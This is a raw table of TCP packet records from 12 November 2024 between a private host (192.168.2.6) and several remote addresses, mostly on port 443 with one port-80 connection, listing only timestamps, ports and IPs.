Nov 12, 2024 10:37:27.231146097 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.231178045 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.231232882 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.231523037 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.231530905 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.233865976 CET	49864	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.233875990 CET	443	49864	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.234757900 CET	49864	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.234765053 CET	443	49864	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.273423910 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.273436069 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.273526907 CET	49860	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.273541927 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.273550987 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.273621082 CET	49860	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.274425983 CET	49860	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.274426937 CET	49860	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.274446964 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.274456978 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.278929949 CET	49874	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.278971910 CET	443	49874	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.279072046 CET	49874	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.279438019 CET	49874	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.279449940 CET	443	49874	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.284565926 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.284593105 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.284646034 CET	49861	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.284666061 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.284681082 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.284735918 CET	49861	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.298388958 CET	49861	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.298410892 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.298418045 CET	49861	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.298423052 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.311067104 CET	49875	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.311096907 CET	443	49875	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.311162949 CET	49875	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.312899113 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.312931061 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.313002110 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.313160896 CET	49875	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.313169003 CET	443	49875	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.313683987 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.313693047 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.329734087 CET	443	49862	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.329802036 CET	443	49862	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.329917908 CET	49862	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.330605030 CET	49862	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.330605030 CET	49862	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.330621958 CET	443	49862	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.330631971 CET	443	49862	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.335743904 CET	49877	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.335783005 CET	443	49877	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.335836887 CET	49877	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.337865114 CET	49877	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.337876081 CET	443	49877	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.358211994 CET	443	49863	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.358280897 CET	443	49863	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.358364105 CET	49863	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.358601093 CET	49863	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.358618021 CET	443	49863	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.362283945 CET	49878	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.362320900 CET	443	49878	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.362387896 CET	49878	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.362520933 CET	49878	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.362534046 CET	443	49878	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.362698078 CET	443	49864	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.362782955 CET	443	49864	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.362843037 CET	49864	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.363004923 CET	49864	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.363013983 CET	443	49864	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.363049030 CET	49864	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.363055944 CET	443	49864	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.366003990 CET	49879	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.366050959 CET	443	49879	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.366274118 CET	49879	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.366543055 CET	49879	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.366561890 CET	443	49879	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.410063982 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.410322905 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.410337925 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.411398888 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.411449909 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.412578106 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.412645102 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.412794113 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.412801027 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.418941021 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.419171095 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.419198990 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.421374083 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.421438932 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.422418118 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.422492981 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.422560930 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.422566891 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.423443079 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.423589945 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.423599958 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.424632072 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.424690962 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.424992085 CET	443	49865	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.425113916 CET	443	49865	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.425175905 CET	49865	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.425175905 CET	49865	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.425453901 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.425522089 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.425697088 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.425705910 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.509274006 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.524298906 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.524349928 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.530445099 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.533024073 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.533049107 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.534050941 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.534101963 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.535808086 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.535866022 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.536123037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:27.536175013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:27.536329985 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.536336899 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.537915945 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.537975073 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.538069963 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.538881063 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.538892984 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.548831940 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.548888922 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.549407005 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.549768925 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.549782038 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.555074930 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.555133104 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.555172920 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.555345058 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.555351019 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.671073914 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.747185946 CET	443	49872	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.747886896 CET	49872	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.747905970 CET	443	49872	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.748955965 CET	443	49872	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.749094009 CET	49872	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.749402046 CET	49872	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.749459028 CET	443	49872	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.749706030 CET	49872	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.749711990 CET	443	49872	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.776979923 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.777004957 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.777014017 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.777065992 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.777086020 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.777097940 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.777103901 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.777123928 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.777137041 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.777158976 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.858436108 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.861917973 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.861936092 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.862932920 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.862996101 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.863337994 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.863401890 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.863498926 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.863504887 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.879221916 CET	443	49872	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.879331112 CET	49872	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.879654884 CET	49872	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.879667997 CET	443	49872	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.892688036 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.892697096 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.892720938 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.892726898 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.892738104 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.892766953 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.892771959 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.892777920 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.892816067 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.894270897 CET	443	49874	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.894512892 CET	49874	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.894520044 CET	443	49874	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.895473957 CET	443	49874	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.895524979 CET	49874	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.895872116 CET	49874	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.896017075 CET	443	49874	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.896183968 CET	49874	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.896188974 CET	443	49874	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:27.995493889 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.998055935 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.998131037 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.998195887 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.998445034 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.998461962 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.002908945 CET	49880	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.002943993 CET	443	49880	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.003014088 CET	49880	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.003201962 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.003235102 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.003271103 CET	49880	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.003279924 CET	443	49880	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.003329039 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.003451109 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.003462076 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.008018970 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.008032084 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.008083105 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.008119106 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.008128881 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.008146048 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.008157015 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.008173943 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.023358107 CET	443	49874	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:28.023413897 CET	49874	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:28.024157047 CET	49874	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:28.024173021 CET	443	49874	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:28.040920019 CET	443	49875	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.041903973 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.048041105 CET	49875	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.048053980 CET	443	49875	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.049319983 CET	49875	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.049328089 CET	443	49875	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.049725056 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.049751043 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.050292015 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.050297976 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.064138889 CET	443	49877	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.064465046 CET	49877	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.064486027 CET	443	49877	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.064996958 CET	49877	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.065006018 CET	443	49877	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.081238985 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.086008072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.092135906 CET	443	49878	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.092529058 CET	49878	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.092559099 CET	443	49878	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.092938900 CET	49878	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.092943907 CET	443	49878	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.100038052 CET	443	49879	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.102024078 CET	49879	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.102042913 CET	443	49879	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.102621078 CET	49879	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.102626085 CET	443	49879	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.123363018 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.123385906 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.123440981 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.123454094 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.123464108 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.123485088 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.123505116 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.123508930 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.123529911 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.123537064 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.123564959 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.124331951 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.124346018 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.174215078 CET	443	49875	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.174280882 CET	443	49875	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.174335003 CET	49875	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.174551964 CET	49875	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.174562931 CET	443	49875	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.174592972 CET	49875	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.174598932 CET	443	49875	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.176688910 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.176799059 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.176857948 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.177143097 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.177169085 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.177246094 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.177263021 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.177275896 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.177279949 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.177283049 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.178102016 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.178111076 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.179522991 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.179553986 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.179698944 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.179764032 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.179774046 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.193017960 CET	443	49877	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.193075895 CET	443	49877	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.193118095 CET	49877	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.194564104 CET	49877	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.194575071 CET	443	49877	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.194583893 CET	49877	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.194588900 CET	443	49877	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.203480005 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.203521013 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.203569889 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.203669071 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.203676939 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.223303080 CET	443	49878	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.223370075 CET	443	49878	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.223423004 CET	49878	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.223558903 CET	49878	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.223568916 CET	443	49878	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.223577976 CET	49878	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.223582029 CET	443	49878	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.225505114 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.225532055 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.225630999 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.225733995 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.225744009 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.232597113 CET	443	49879	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.232651949 CET	443	49879	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.232851982 CET	49879	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.232925892 CET	49879	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.232933044 CET	443	49879	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.232948065 CET	49879	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.232952118 CET	443	49879	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.234775066 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.234787941 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.234848976 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.234992981 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.235002041 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.357795954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.357847929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.357853889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.357868910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.357891083 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.357908964 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.357995033 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.358006954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.358045101 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.358119011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.358133078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.358155966 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.358191967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.358266115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.358278036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.358294010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.358309031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.358319044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.358335018 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.358644009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.358751059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.358787060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.436994076 CET	49887	443	192.168.2.6	13.107.246.57
